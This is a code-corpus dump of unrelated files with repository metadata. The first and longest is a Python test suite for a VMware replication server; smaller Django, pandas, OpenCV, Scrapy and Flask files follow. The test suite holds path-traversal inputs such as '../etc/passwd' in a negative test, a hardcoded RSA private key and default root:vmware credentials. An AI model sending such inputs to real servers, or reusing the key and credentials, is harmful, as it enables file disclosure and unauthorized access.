ExpectException(invalidPolicyFault, group.UpdateRetentionPolicy, testPolicy)
# Test total number of slots greater than default max of 24
testPolicy = AddTierToRetentionPolicy(None, 3, 9)
testPolicy = AddTierToRetentionPolicy(testPolicy, 19, 8)
testPolicy = AddTierToRetentionPolicy(testPolicy, 43, 6)
testPolicy = AddTierToRetentionPolicy(testPolicy, 111, 7)
ExpectException(invalidPolicyFault, group.UpdateRetentionPolicy, testPolicy)
Log("Test GetState");
st = group.GetState()
if st != "passive":
raise TestFailedExc("State should be 'passive'")
else:
Log("Group is 'passive'")
Log("Test GetId");
ExpectNoException(group.GetId)
Log("Test GetCurrentRpoViolation");
rpoViolation = group.GetCurrentRpoViolation()
if (rpoViolation != -1):
raise TestFailedExc("Rpo violation should initially be -1, not " + str(rpoViolation));
# group.Remove tested elsewhere
# Can't test CommitToImage without an image ...
#Log("Test CommitToImage");
#ExpectNotImplemented(group.CommitToImage, None)
# Note that .Instances is a property, not a method
Log("Test .instances property");
insts = group.instances
if len(insts) > 0:
raise TestFailedExc("Groups should contain 0 instances!")
else:
Log("No instances.")
# Note: that .latestInstance is a property, not a method
inst = group.latestInstance
Log("Got .latestInstance " +str(inst))
if inst:
raise TestFailedExc("Group should not have a 'latest' instance!")
else:
Log("No latest instance.")
@TestFunc
def TestHosts(repManager,
datastoreConf):
storageManager = repManager.GetStorageManager()
# unpack the legitimate datastore configuration
(host, user, password) = datastoreConf
randHost = CreateRandomId("host-")
randUser1 = CreateRandomId("user-")
randUser2 = CreateRandomId("user1-")
randPass = CreateRandomId("pass-")
Log("Test EnableHost")
# Test adding a new host
hspec = CreateHostSpec(randHost, randUser1 + ":" + randPass)
newHost1 = ExpectNoException(storageManager.EnableHost, hspec)
print("Added host %s" % newHost1.GetId)
# Test modifying the user of existing host
hspec = CreateHostSpec(randHost, randUser2 + ":" + randPass)
newHost2 = ExpectNoException(storageManager.EnableHost, hspec)
# Test modifying password of existing host
hspec = CreateHostSpec(randHost, randUser2 + ":")
newHost2 = ExpectNoException(storageManager.EnableHost, hspec)
# Since EnableHost is idempotent, get a reference to existing valid host
hspec = CreateHostSpec(host, user + ":" + password)
validHost = ExpectNoException(storageManager.EnableHost, hspec)
# Test removing the host
Log("Test removing hosts...")
ExpectNoException(newHost1.Remove)
ExpectNoException(validHost.Remove)
# There should be no valid hosts existing and hence all configured
# datastores should be marked inaccessible.
dsList = storageManager.GetExpectedDatastores()
for ds in dsList:
if (ds.accessible):
PrintDatastores(dsList)
raise TestFailedExc("Removing all hosts should mark all datastores inaccessible")
Log("Test EnableHost with null configurations")
# Try with ..
# .. invalid host name
ExpectException(Hbr.Replica.Fault.InvalidHostSpec,
storageManager.EnableHost,
CreateHostSpec("", randUser1+":"+randPass))
# .. invalid user/pass
ExpectException(Hbr.Replica.Fault.InvalidHostSpec,
storageManager.EnableHost,
CreateHostSpec("valid", ":"))
ExpectException(Hbr.Replica.Fault.InvalidHostSpec,
storageManager.EnableHost,
CreateHostSpec("valid", "@"))
# .. invalid user
ExpectException(Hbr.Replica.Fault.InvalidHostSpec,
storageManager.EnableHost,
CreateHostSpec("valid", ":"+randPass))
# Add the valid host with an invalid password, expect failures:
validHost = ExpectNoException(storageManager.EnableHost,
CreateHostSpec(host, user + ":" + password + "BORKED"))
if validHost.accessible:
raise TestFailedExc("Valid host, with bad password, should not be accessible.");
# Fixup the host (later tests expect it to be present in the server)
validHost = ExpectNoException(storageManager.EnableHost,
CreateHostSpec(host, user + ":" + password))
if not validHost.accessible:
raise TestFailedExc("Valid host should be accessible.");
return
@TestFunc
def TestDatastores(repManager,
datastoreConf,
dsMgrList):
storageManager = repManager.GetStorageManager()
Log("Test configured datastores")
# Create a group on each datastore
for datastoreMgr in dsMgrList:
gspec = CreateRandomizedGroupSpec(datastoreMgr=datastoreMgr)
newGroup = repManager.CreateGroup(gspec)
dsList = storageManager.GetExpectedDatastores()
# There should be at least one datastore for each CreateGroup above
if len(dsList) != len(dsMgrList):
Log("Expected datastores present...")
PrintDatastores(dsList)
Log("Test provided datastores...")
PrintDatastores(dsMgrList)
raise TestFailedExc("Expected " + str(len(dsMgrList)) + " datastores. " +
"Found " + str(len(dsList)) + ".")
PrintDatastores(dsList)
numDs = len(dsList)
# Test datastore removal (triggered by removal of all groups)
Log("Test datastore removal...")
for group in repManager.groups:
group.Remove()
dsList = storageManager.GetExpectedDatastores()
newNumDs = len(dsList)
if numDs != newNumDs:
print("Remaining datastores...")
PrintDatastores(dsList)
newNumDs = numDs
dsList = storageManager.GetExpectedDatastores() # Should have no datastores...
numDs = len(dsList)
if numDs != 0:
Log("Groups that still exist")
for group in repManager.groups:
print(group)
Log("Datastores that weren't removed...")
PrintDatastores(dsList)
raise TestFailedExc("Expected zero datastores. Found " + str(numDs) + ".")
return
@TestFunc
def TestReplicationManager(repManager, datastoreConf, dsMgrList):
"""Test the currently implemented interfaces of the
hbr.replica.ReplicationManager."""
# Test Host API interfaces
TestHosts(repManager, datastoreConf)
# Basic ReplicationManager API interfaces:
TestGetGroups(repManager)
#TestCreateGroup(100, repManager)
TestCreateGroup(13, repManager)
TestGetGroup(repManager)
TestRemoveGroup(repManager)
TestAddGroupErrorCleanup(repManager)
TestUnconfigureGroup(repManager)
TestRecoverGroup(repManager)
TestAddRemoveDisk(repManager)
# ReplicaGroup API:
TestReplicaGroup(repManager)
# Datastore API (removes all groups in the database!)
TestDatastores(repManager, datastoreConf, dsMgrList)
return
# Test certificate for connecting to the server (just a
# self-signed certificate with the thumbprint below and
# the corresponding private key.
#
# Used to test login-by-SSL thumbprint functionality.
testCertificate = '''
-----BEGIN CERTIFICATE-----
MIIEHjCCAwagAwIBAgIIZ1NXRlNVc3kwDQYJKoZIhvcNAQEFBQAwPDE6MDgGA1UE
ChMxVk13YXJlIEhvc3QtYmFzZWQgcmVwbGljYXRpb24gdGVzdGluZyBTZWxmLVNp
Z25lZDAeFw0xMDAzMjEwMjI4MTVaFw0yMTA5MTkwMjI4MTVaMIIBJTELMAkGA1UE
BhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExEjAQBgNVBAcTCVBhbG8gQWx0bzEU
MBIGA1UEChMLVk13YXJlLCBJbmMxPDA6BgNVBAsTM1ZNd2FyZSBIb3N0LWJhc2Vk
IHJlcGxpY2F0aW9uIHNlcnZlci10ZXN0aW5nIGNsaWVudDEqMCgGCSqGSIb3DQEJ
ARYbc3NsLWNlcnRpZmljYXRlc0B2bXdhcmUuY29tMTswOQYDVQQDEzJWTXdhcmUg
SG9zdC1iYXNlZCBSZXBsaWNhdGlvbiBzZXJ2ZXItdGVzdGluZyBjbGllbjEwMC4G
CSqGSIb3DQEJAhMhMTI2OTEzODQ5NSw1NjRkNzc2MTcyNjUyMDQ5NmU2MzJlMIIB
IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAokBMmaIam/yvJucCB9J7IdWn
LKh3qAaZrBqXu1li9NC8tfauN5YIeQDjsbkCE2lo3uIwvZAaNYYUr/Hx5xnwrk+g
/t3GM7NJJshwbfOJUih1ACpokyI5xwnQPWgtSef/rM5K2GIJPo6fsDjcLrGHhiNC
KS1L2SNRd2y34m9AKjJ2JkNA02FgwWSCoWpKzVeicpR6p2zipJAWo+XgzAOs6xhe
8wo10XtO3gBBdoz0+Vfx1SDWtUVpIHdijI7p+SdNtWGPYvdfCwprD2sD4Brwh/qC
LDLYnuNs4yxuu3wYoVHf77DoCAkteAzKt/hEfiEgNKplMewnt8Jt3RjCljvbIQID
AQABozkwNzAJBgNVHRMEAjAAMAsGA1UdDwQEAwIEsDAdBgNVHSUEFjAUBggrBgEF
BQcDAQYIKwYBBQUHAwIwDQYJKoZIhvcNAQEFBQADggEBAGqprZtEbphM7lvflOab
2kTQd5WslOnuq8snMdQpo0EwGPHTlxwEYRX7AIgtz7b7o4mJjeifyXdRxISoMRY9
/g0uSZnrdgTXR0UtZ5RhUXpYcZc36dwZ09b94HvZQc655pD55hJFjN2jP3F4yVsb
Qzfa3HonJjINEWVnHarR/UrpbzuN5OZO+Chs7xqIvCr30y5LfKBYKKKoJrsxWGl5
6wTLqsUzlCdnKtvOb5dilWSxfmcf6YjkzoE4SK4koiRLoVw8ktPptNESTAA87TR9
dP1uhyZRo9cQImrAu1iOCezNQNWBwpm6/rjpbKcJsfAEu2VQlp6zJF4on8laLGSd
fx0=
-----END CERTIFICATE-----
'''
testCertificateThumbprint = \
'02:C7:95:22:D4:5D:D3:37:FD:51:A1:DE:A4:F0:D4:AE:DB:0E:43:B7'
testCertificateKey = '''
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAokBMmaIam/yvJucCB9J7IdWnLKh3qAaZrBqXu1li9NC8tfau
N5YIeQDjsbkCE2lo3uIwvZAaNYYUr/Hx5xnwrk+g/t3GM7NJJshwbfOJUih1ACpo
kyI5xwnQPWgtSef/rM5K2GIJPo6fsDjcLrGHhiNCKS1L2SNRd2y34m9AKjJ2JkNA
02FgwWSCoWpKzVeicpR6p2zipJAWo+XgzAOs6xhe8wo10XtO3gBBdoz0+Vfx1SDW
tUVpIHdijI7p+SdNtWGPYvdfCwprD2sD4Brwh/qCLDLYnuNs4yxuu3wYoVHf77Do
CAkteAzKt/hEfiEgNKplMewnt8Jt3RjCljvbIQIDAQABAoIBABfUzet67eGfebKD
F79CYSeVFBrxG7IoVgX7WfIArRI8Xptzgh9UACaVxNvjyrRDNU4XdwVA1zipWvyE
0v0YyEsyEvmcZXJOkR4LLshXjwHsQ1Mk53tE+auMe3Opi41hcCJXopKpw6XWmQnv
MBgDp15Ca4NUzeE02NBrvY6avJf12ZeTDzmq3zR+H2fKhAL5DbQmd1aeidQ6UI+M
JGp5AFjpjvhnlE8CZbNMr0iJztIkwJ4hE4eUIU3MH7W+IrNSRax9S7FiJKpwV7m/
TcY3K03xyNE3AAlWDDtSRcJlpjz2VoE1akF3yOD3w8UE8ll5sCV7NazF8212UqqJ
/ai/G4ECgYEAz3lPtvTmqMnv35jItLyAMWsgHkJ1uK3NbdSBFf84UmjZnFcsCRug
2l8X3Jv0jhPR2PVqhE0/lGmBcHuOgqDtK3fTszhrF/Q2w3OhjZ9ZNGHIKLkGszsD
Cq1hEjH+JiXZlS/wuldbyumDTOGdiWxkwFsMRIcCfmvcuA/QgbmvzekCgYEAyDM8
pwz21tVTcw8s8oW5KKjhJYcCiNVM7jnOiJAe8f5/cQR6ABGjprbn5lZWdtrKenPn
2aY1yL/Ajn/nw+iOkmV5N712CxOAkZX2QpDVsZaOgZTK/Tkpy9xeqsK9R1srLoR/
/kZnbo67k4SHvuM/ViN2JtaJs9fziTTTBNgqSHkCgYAlKaqgr+9dDobb+0cAML+Z
moGvSeJCSUeBw823ffa9tDA+c9Lccsl2NBBXIMxGYsB050jEF/4qfFeGKWuWdHLn
FVijQpjUOpdQnTaz4nYdDuLGgJX1pr1dvT6k/rVyadc2hNbO2fUEPJ2bONJ6GiNV
3TkuUSyeLn3jrll/0x3teQKBgBHe0PkwZRBENpC8uAxl92Mzv/UzmfxQ3e8d5du2
0axURVf3SFSdPnhxNz4OUuWFHjHUCswY1BA5XZzauft41NEokatyFAllEkLsmfDT
MOALSmkyuPPlmF+EKkcf3vlxn+clGK+/5RevUfsXB274pfywaamJ2Pzet/R1bKiw
CwYxAoGBAIS+xJ+emUpG82vSEAOv62V8BpOWH43BTx2KglZEshsdaQSOJvhO0u3R
b2MSrEhpeKAVpcgoG2stQBtQG4tqvZvF/pWVjRol2vvzJP4lBNbul8gFv70VBU7b
zJd5bHBuXckscdFBy/EA88d9YrySm26gseRFFvnFSgYz1NVfHKgp
-----END RSA PRIVATE KEY-----
'''
guestInfoScript = "/usr/bin/hbrsrv-guestinfo.sh"
hmsThumbprintKey = "guestinfo.hbr.hms-thumbprint"
srvThumbprintKey = "guestinfo.hbr.hbrsrv-thumbprint"
srvRevokedKey = "guestinfo.hbr.hbrsrv-certificate-revoked"
@TestFunc
def TestSessionManager(repMgr,
sessionMgr,
localuser='root',
localpasswd='vmware'):
"""
Test the interfaces of hbr.replica.SessionManager. Assumes the session
is not yet authenticated.
"""
TestSessionMethodsWhileNotLoggedIn(repMgr, sessionMgr)
Log("Trying simple valid login/logoff.")
sessionMgr.Login(localuser, localpasswd)
sessionMgr.Logoff()
Log("Trying login and double-login")
sessionMgr.Login(localuser, localpasswd)
# double-login is a failure
ExpectException(Hbr.Replica.Fault.AlreadyLoggedIn,
sessionMgr.Login, localuser, localpasswd)
Log("Logging off")
sessionMgr.Logoff()
TestSessionMethodsWhileNotLoggedIn(repMgr, sessionMgr)
#
# We don't validate user/pass anymore so there's no need
# to test for bad user/pass combos here.
#
Log("Trying bad thumbprint login")
RunCommand([guestInfoScript, "set", hmsThumbprintKey, "bad-login-test-thumbprint"])
sessionMgr.ReadGuestInfoKeys();
ExpectException(Hbr.Replica.Fault.InvalidLogin, sessionMgr.LoginBySSLThumbprint)
Log("Trying good thumbprint login")
RunCommand([guestInfoScript, "set", hmsThumbprintKey,
testCertificateThumbprint])
sessionMgr.ReadGuestInfoKeys()
sessionMgr.LoginBySSLThumbprint()
Log("Trying double thumbprint login")
ExpectException(Hbr.Replica.Fault.AlreadyLoggedIn, sessionMgr.LoginBySSLThumbprint)
Log("Double log off")
sessionMgr.Logoff()
sessionMgr.Logoff() # should be ok
Log("Forcing the server to generate new certficate")
sessionMgr.LoginBySSLThumbprint()
cmd = "%s get %s" % (guestInfoScript, srvThumbprintKey);
(status, oldThumbprint) = commands.getstatusoutput(cmd);
if status != 0:
raise TestFailedExc("Error getting server thumbprint, script returned: " +
str(rc))
if not re.match("[0-9A-F][0-9A-F](:[0-9A-F][0-9A-F])+$", oldThumbprint):
raise TestFailedExc("Guestinfo contains invalid hbrsrv thumbprint: " +
oldThumbprint);
# BEWARE: this changes the *REAL* server's SSL key (we're generally
# running a secondary server on the side), but this stuff is shared.
# The test-hbrsrv.sh wrapper script saves/restores the original SSL
# key.
RunCommand([guestInfoScript, "set", srvRevokedKey, "1"])
RunCommand([guestInfoScript, "set", hmsThumbprintKey, "post-login-test-thumbprint"])
# Kick hbrsrv, disconnects all VMODL connections
Log("Restarting VMODL service")
sessionMgr.RestartVmodlServer()
sessionMgr = None # The session manager moref (and soap stub) are useless now
(status, newThumbprint) = commands.getstatusoutput(cmd);
if status != 0:
raise TestFailedExc("Error getting server thumbprint, script returned: " +
str(rc))
if not re.match("[0-9A-F][0-9A-F](:[0-9A-F][0-9A-F])+$", oldThumbprint):
raise TestFailedExc("Guestinfo contains invalid hbrsrv thumbprint: " +
oldThumbprint);
if oldThumbprint == newThumbprint:
raise TestFailedExc("Thumbprint didn't change!")
Log("Done with SessionManager tests")
return
@TestFunc
def TestSessionMethodsWhileNotLoggedIn(repMgr, sessionMgr):
"""Test some APIs behavior when not logged in."""
# Valid SSL key may be left in database from startup after valid key
# was found in guest-info
sessionMgr.ReadGuestInfoKeys();
# GetReplicationManager requires a valid login
Log("Trying methods that require a login (expecting SecurityError exceptions)")
ExpectException(Vmodl.Fault.SecurityError,
sessionMgr.RestartVmodlServer,)
ExpectException(Vmodl.Fault.SecurityError,
repMgr.GetGroup, "invalid-group-id")
ExpectException(Vmodl.Fault.SecurityError,
repMgr.GetServerStats,)
# Test a couple methods that are allowed even if not logged in:
Log("Trying always-allowed methods without login")
sessionMgr.ReadGuestInfoKeys();
repMgr.GetStorageManager();
repMgr.GetServerDetails();
repMgr.GetPropertyCollector();
Log("Trying redundant logoff")
sessionMgr.Logoff() # redundant logoff should be okay
@TestFunc
def TestSupportBundles(sMgr):
"""Test the support bundle APIs"""
Log("Simple negative tests of supportBundleChunk")
# XXX what's up with BadStatusLine here?
ExpectException(Vmodl.Fault.InvalidArgument,
sMgr.SupportBundleChunk, "", 0, 0)
ExpectException(Vmodl.Fault.InvalidArgument,
sMgr.SupportBundleChunk, "", 0, 0)
ExpectException(Vmodl.Fault.InvalidArgument,
sMgr.SupportBundleChunk, "", 10*100, 0)
ExpectException(Vmodl.Fault.InvalidArgument,
sMgr.SupportBundleChunk, "", 0, 1)
ExpectException(Vmodl.Fault.InvalidArgument,
sMgr.SupportBundleChunk, "../etc/passwd", 0, 0)
ExpectException(Vmodl.Fault.InvalidArgument,
sMgr.SupportBundleChunk, "foo/../etc/passwd", 0, 0)
ExpectException(Vmodl.Fault.InvalidArgument,
sMgr.SupportBundleChunk, "doesnotexist.tgz", 0, 0)
Log("Generate a bundle.")
sbi = sMgr.GenerateSupportBundle()
chunk = sMgr.SupportBundleChunk(sbi.key, 0, 10)
if len(chunk) != 10:
raise TestFailedExc("Chunk should have at least 10 bytes");
sMgr.SupportBundleChunk(sbi.key, 0, 10)
if len(chunk) != 10:
raise TestFailedExc("(Idempotent) chunk should have at least 10 bytes");
sMgr.SupportBundleChunk(sbi.key, 0, 10*1000*1000)
ExpectException(Vmodl.Fault.InvalidArgument,
sMgr.SupportBundleChunk,
sbi.key, 1000*1000*1000*100, 10)
Log("Generate 5 bundles to force recycling.")
sbiFirst = sMgr.GenerateSupportBundle()
sbi = sMgr.GenerateSupportBundle()
sbi = sMgr.GenerateSupportBundle()
sbi = sMgr.GenerateSupportBundle()
sbi = sMgr.GenerateSupportBundle()
Log("Ensure old bundle keys expire.")
ExpectException(Vmodl.Fault.InvalidArgument,
sMgr.SupportBundleChunk,
sbiFirst.key, 0, 10)
return
@TestFunc
def TestServerManager(sMgr):
"""Test the hbr.replica.ServerManager API."""
TestSupportBundles(sMgr)
# Tested elsewhere
# sMgr.shutdown()
Log("Testing logModules")
for m in sMgr.GetLogModules():
print(m)
#
# main
#
def main():
# Only the datastore manager for the default
# datastore is global
global defaultDsMgr
global testdir
supportedArgs = [
(["h:", "hbrsrv="], "localhost", "hbrsrv host name", "hbrsrv"),
(["p:", "port="], 8123, "VMODL port", "port"),
(["hostd="], 'root:@localhost', "Hostd instance", "hostd"),
(["datastore="], 'storage1', "datastore to use", "datastore"),
(["testdir="], 'hbrServer-test', "test directory", "testdir"),
(["auth="], 'root:vmware', "Local user:password", "auth"),
]
supportedToggles = [
(["usage", "help"], False, "Show usage information", "usage"),
]
args = arguments.Arguments(sys.argv, supportedArgs, supportedToggles)
if args.GetKeyValue("usage"):
args.Usage()
return 0
hbrsrv_host = args.GetKeyValue("hbrsrv")
hbrsrv_port = int(args.GetKeyValue("port"))
datastores = args.GetKeyValue('datastore')
hostd = args.GetKeyValue('hostd')
testdir = args.GetKeyValue('testdir')
(localuser, localpasswd) = args.GetKeyValue('auth').split(":")
# Connect to hostd to create directories and disks:
try:
(host, user, password) = pyHbr.disks.ParseHostUserPass(hostd)
datastoreList = datastores.split(",")
defaultDsMgr = pyHbr.disks.RemoteStorage(host, user, password, datastoreList[0])
dsMgrList = []
for datastore in datastoreList:
dsMgrList.append(pyHbr.disks.RemoteStorage(host, user, password, datastore))
Log("Connected to datastore: %s" % str([host, user, password, datastore]))
except:
Log("Failing on exception during hostd connection")
traceback.print_exc(file=sys.stdout)
status = "FAIL"
return 1;
# Create a test directories on the datastores:
for datastoreMgr in dsMgrList:
atexit.register(datastoreMgr.CleanupDirectory, testdir)
datastoreMgr.MakeDirectory(testdir)
# Add a pause before cleaning up directories in case hbr server is also cleaning something up
atexit.register(time.sleep, 2)
Log("Created test directories on datastores.")
status = "INCOMPLETE"
try:
# Key may be left in guest-info from a previous run
RunCommand([guestInfoScript, "set", hmsThumbprintKey, "initial-invalid"])
Log("Create SSL key/cert to use as client-side SSL thumbprint.")
key_file = tempfile.gettempdir() + CreateRandomId("/key");
f = open(key_file, 'w')
f.write(testCertificateKey);
f.close();
atexit.register(os.unlink, key_file)
cert_file = tempfile.gettempdir() + CreateRandomId("/cert");
f = open(cert_file, 'w')
f.write(testCertificate);
f.close();
atexit.register(os.unlink, cert_file)
hbrCnx = pyHbr.servercnx.EstablishSoapCnx(host=hbrsrv_host,
port=hbrsrv_port,
key_file = key_file,
cert_file = cert_file)
Log("Connected to hbrsrv: %s:%d: %s" % (hbrsrv_host, hbrsrv_port, str(hbrCnx)))
repManager = pyHbr.servercnx.HbrReplicationManager(hbrCnx)
sesManager = pyHbr.servercnx.HbrSessionManager(hbrCnx)
# Test session manager before authenticating, as this has the API
# for auth/auth. Normal APIs are tested below
TestSessionManager(repManager, sesManager, localuser, localpasswd)
# re-establish connection and test the rest of the APIs
# (TestSessionManager resets the VMODL server, severing the old
# hbrCnx)
hbrCnx = pyHbr.servercnx.EstablishSoapCnx(host=hbrsrv_host,
port=hbrsrv_port,
key_file = key_file,
cert_file = cert_file)
repManager = pyHbr.servercnx.HbrReplicationManager(hbrCnx)
sesManager = pyHbr.servercnx.HbrSessionManager(hbrCnx)
pyHbr.servercnx.Authenticate(sesManager, localuser, localpasswd)
TestReplicationManager(repManager, (host, user, password), dsMgrList)
serverManager = pyHbr.servercnx.HbrServerManager(hbrCnx)
TestServerManager(serverManager)
pyHbr.servercnx.ClearAuthentication(sesManager)
status = "PASS"
except:
Log("Failing on unhandled exception: ")
traceback.print_exc(file=sys.stdout) # to stdout to avoid interleaving
status = "FAIL"
Log("TEST RUN COMPLETE: " + status)
if status != "PASS":
return 1
else:
return 0
# Start program
if __name__ == "__main__":
rc = main()
sys.exit(rc)
| [
"liuzhen@vmware.com"
] | liuzhen@vmware.com |
b83dccd10f48a83085016bfd3c4bb439057ee36e | b39b09e4b12395c5b6001fc5ec25117bc4c2b33f | /accounts/migrations/0006_auto_20200804_1539.py | 57c945be265d4761f36625318af686494c18905d | [] | no_license | Mohamed10994/Django-app | b390b84757c909a59798f20106db8fa57dc654fc | 3baab92b2b08f6bd997c1963800abf3875826bf6 | refs/heads/master | 2022-11-27T05:12:24.593245 | 2020-08-10T16:36:13 | 2020-08-10T16:36:13 | 286,493,970 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 415 | py | # Generated by Django 3.1 on 2020-08-04 15:39
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0005_auto_20200804_0057'),
]
operations = [
migrations.AlterField(
model_name='product',
name='description',
field=models.CharField(blank=True, max_length=200, null=True),
),
]
| [
"mohamedmostafa17994@gmail.com"
] | mohamedmostafa17994@gmail.com |
d72ed1334dba43fc67a0c2ebcff6696ef89f8c84 | fdeac281d8f267b4326906cac8f1fe95f4af0ee4 | /divbin.py | 28e7ec95cbdaa1354932c48c01361eefb90717a5 | [] | no_license | yxrose/bcfr | cd37b147c318742cb227d1c08a861a20bc4c8b9c | 0280ca9a9487609ae408df6bc39f4e0829304694 | refs/heads/master | 2023-02-24T18:10:43.783115 | 2023-02-15T12:24:29 | 2023-02-15T12:24:29 | 182,046,695 | 12 | 6 | null | null | null | null | UTF-8 | Python | false | false | 1,880 | py | import pandas as pd
import numpy as np
def crsl(bin,cdat,fdn):
lss=[]
ms=pd.Series([np.nan]*len(fdn),index=fdn)
for sam in cdat:
ix=(sam.stt<=bin[0])&(sam.end>=bin[1])
if(ix.any()):
sls=sam.loc[ix,fdn].squeeze()
lss.append(sls)
else:
lss.append(ms)
return(pd.concat(lss))
def rsl(key,cdat,fdname,lines,pairs):
bns=pd.Series()
tls=pd.Series()
for lg in cdat:
bns=bns.append(lg.iloc[:,0])
tls=tls.append(lg.iloc[:,1])
ubn=pd.DataFrame({'pos':pd.unique(bns.values),'lab':1})
utl=pd.DataFrame({'pos':pd.unique(tls.values),'lab':2})
cutter=pd.concat([ubn,utl]).sort_values('pos')
brg=pd.DataFrame(columns=['stt','end'])
for i in range(1,cutter.shape[0]):
cta=cutter.lab.iloc[i-1]
ctb=cutter.lab.iloc[i]
if(((cta==2)&(ctb==2))):
rst=pd.Series([cutter.pos.iloc[i-1]+10000,cutter.pos.iloc[i] ],index=['stt','end'])
brg=brg.append(rst,ignore_index=True)
elif(((cta==1)&(ctb==1))):
rst=pd.Series([cutter.pos.iloc[i-1],cutter.pos.iloc[i]-10000 ],index=['stt','end'])
brg=brg.append(rst,ignore_index=True)
elif((cta==1)&(ctb==2)):
rst=pd.Series([cutter.pos.iloc[i-1],cutter.pos.iloc[i] ],index=['stt','end'])
brg=brg.append(rst,ignore_index=True)
brg.drop_duplicates(inplace=True)
arg=brg.stt.tolist()
arg.pop(0)
arg.append(np.nan)
crg=brg.end.tolist()
del crg[-1]
crg=[np.nan]+crg
ix=(((brg.stt==crg)|(brg.stt==arg))&(brg.stt==brg.end)).tolist()
iy=[not x for x in ix]
brg=brg.loc[iy,:]
cnb=brg.apply(crsl,cdat=cdat,fdn=fdname,axis=1)
tuples=list(zip(lines,pairs,cnb.columns))
cnb.columns=pd.MultiIndex.from_tuples(tuples)
return (key,[brg, cnb.stack(dropna=False)])
'''end of rsl'''
| [
"noreply@github.com"
] | yxrose.noreply@github.com |
f9899a02fbb389cfb24430cb2d5568571f7d1eee | 53c91272444bfab92e7e89e0358047b27eab1125 | /03.代码/豆瓣评论/scrapydouban/scrapydouban/main.py | 14e98c156d8afabc0ee0c2f3618ec95177b648b0 | [] | no_license | MrFiona/python_module_summary | 2bbf9f30e0fbfe302e7e6c429754fa7bf4bfc411 | 4e36f6f5f6abed10fc06b16b0ed7c12cde7746d0 | refs/heads/master | 2021-01-20T03:54:38.105298 | 2019-01-07T07:28:36 | 2019-01-07T07:28:36 | 101,373,212 | 2 | 0 | null | 2018-04-15T05:56:45 | 2017-08-25T06:28:52 | Jupyter Notebook | UTF-8 | Python | false | false | 231 | py | #!/user/bin/python
#-*- coding:utf-8 -*-
'''
@author: 创客▪榕
@contact: chentianhao0510@126.com
@file: main.py
@time: 2017/5/15 15:01
'''
from scrapy import cmdline
cmdline.execute('scrapy crawl DoubanBooksDetail'.split())
| [
"1160177283@qq.com"
] | 1160177283@qq.com |
9344bb15b55230358dca9d9ffbf279968c1d1558 | 7d9ae6d73e567dcd3983370999f87202b42efac6 | /HumanEmotionRecognitionPy/testing.py | eeaef13a260b2185b69b0e1c4164bfb745c6c996 | [] | no_license | sendoggo/HumanEmotionsRecogPy | a2d873c361067469e0a31d35ef44ba6631e4191b | 1ed407996944630dcb24a6dfcf98741ef51dcca3 | refs/heads/main | 2023-02-06T00:39:14.880978 | 2020-12-27T12:04:48 | 2020-12-27T12:04:48 | 324,746,462 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,304 | py | import cv2
import glob
import random
import numpy as np
emotions = ["neutral", "anger", "contempt", "disgust", "fear", "happy", "sadness", "surprise"] #Emotion list
fishface = cv2.createFisherFaceRecognizer() #Initialize fisher face classifier
data = {}
def get_files(emotion): #Define function to get file list, randomly shuffle it and split 80/20
files = glob.glob("MUGSet_final\\%s\\*" %emotion)
random.shuffle(files)
training = files[:int(len(files)*0.8)] #get first 80% of file list
prediction = files[-int(len(files)*0.2):] #get last 20% of file list
return training, prediction
def make_sets():
training_data = []
training_labels = []
prediction_data = []
prediction_labels = []
for emotion in emotions:
training, prediction = get_files(emotion)
#Append data to training and prediction list, and generate labels 0-7
for item in training:
image = cv2.imread(item) #open image
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) #convert to grayscale
training_data.append(gray) #append image array to training data list
training_labels.append(emotions.index(emotion))
for item in prediction: #repeat above process for prediction set
image = cv2.imread(item)
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
prediction_data.append(gray)
prediction_labels.append(emotions.index(emotion))
return training_data, training_labels, prediction_data, prediction_labels
def run_recognizer():
prediction_data, prediction_labels = make_sets()
print "predicting classification set"
cnt = 0
correct = 0
incorrect = 0
for image in prediction_data:
pred, conf = fishface.predict(image)
if pred == prediction_labels[cnt]:
correct += 1
cnt += 1
else:
incorrect += 1
cnt += 1
return ((100*correct)/(correct + incorrect))
#Now run it
fishface.load("model_MUG.xml")
metascore = []
for i in range(0,10):
correct = run_recognizer()
print "got", correct, "percent correct!"
metascore.append(correct)
print "\n\nend score:", np.mean(metascore), "percent correct!" | [
"noreply@github.com"
] | sendoggo.noreply@github.com |
95a6fd239a4a0467a1839ba2bd9e0c8e5ff51381 | d31991e464835225abd17340b41b409d180ff639 | /noetikon/files/managers.py | e2cf975193736189a24c10c04ed0e067db568a8b | [
"MIT"
] | permissive | webkom/noetikon | c6de7dd2c4cffc84ae4746561ac1da8019eda1f5 | 0fcede2d63a79b51bc29ea4b62d9cbc4ba993180 | refs/heads/master | 2021-01-16T23:57:31.425562 | 2016-09-12T18:20:37 | 2016-09-12T18:20:37 | 29,366,121 | 4 | 0 | null | 2017-03-01T14:51:59 | 2015-01-16T20:17:19 | Python | UTF-8 | Python | false | false | 782 | py | from basis.managers import PersistentModelManager
from django.db.models import Q
class DirectoryManager(PersistentModelManager):
def permitted(self, user):
if user.is_superuser:
return self
query = Q(id=-1)
query |= Q(users_with_access=user)
for group in user.groups.all():
query |= Q(groups_with_access=group)
return self.filter(query).distinct()
class FileManager(PersistentModelManager):
def permitted(self, user):
if user.is_superuser:
return self
query = Q(id=-1)
query |= Q(parent_folder__users_with_access=user)
for group in user.groups.all():
query |= Q(parent_folder__groups_with_access=group)
return self.filter(query).distinct()
| [
"me@rolflekang.com"
] | me@rolflekang.com |
9c3c5e25fe1a52b699bf838f3aef770ab02e3bc3 | f26dc963b2a85d9997b449cef2abb8e66eda80b4 | /app.py | 7e68df78fa259edabbd6eaebf492b48bb1854bfc | [] | no_license | mikecolbert/businessanalytics.me | 1635c64a69050f87135ebfb65d5bca2c5c47ea0f | d2ff1b8b58edf84c332fdf97616c15a07ab71bb3 | refs/heads/main | 2023-04-16T19:26:47.341777 | 2021-04-29T18:55:59 | 2021-04-29T18:55:59 | 362,910,532 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 215 | py | from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
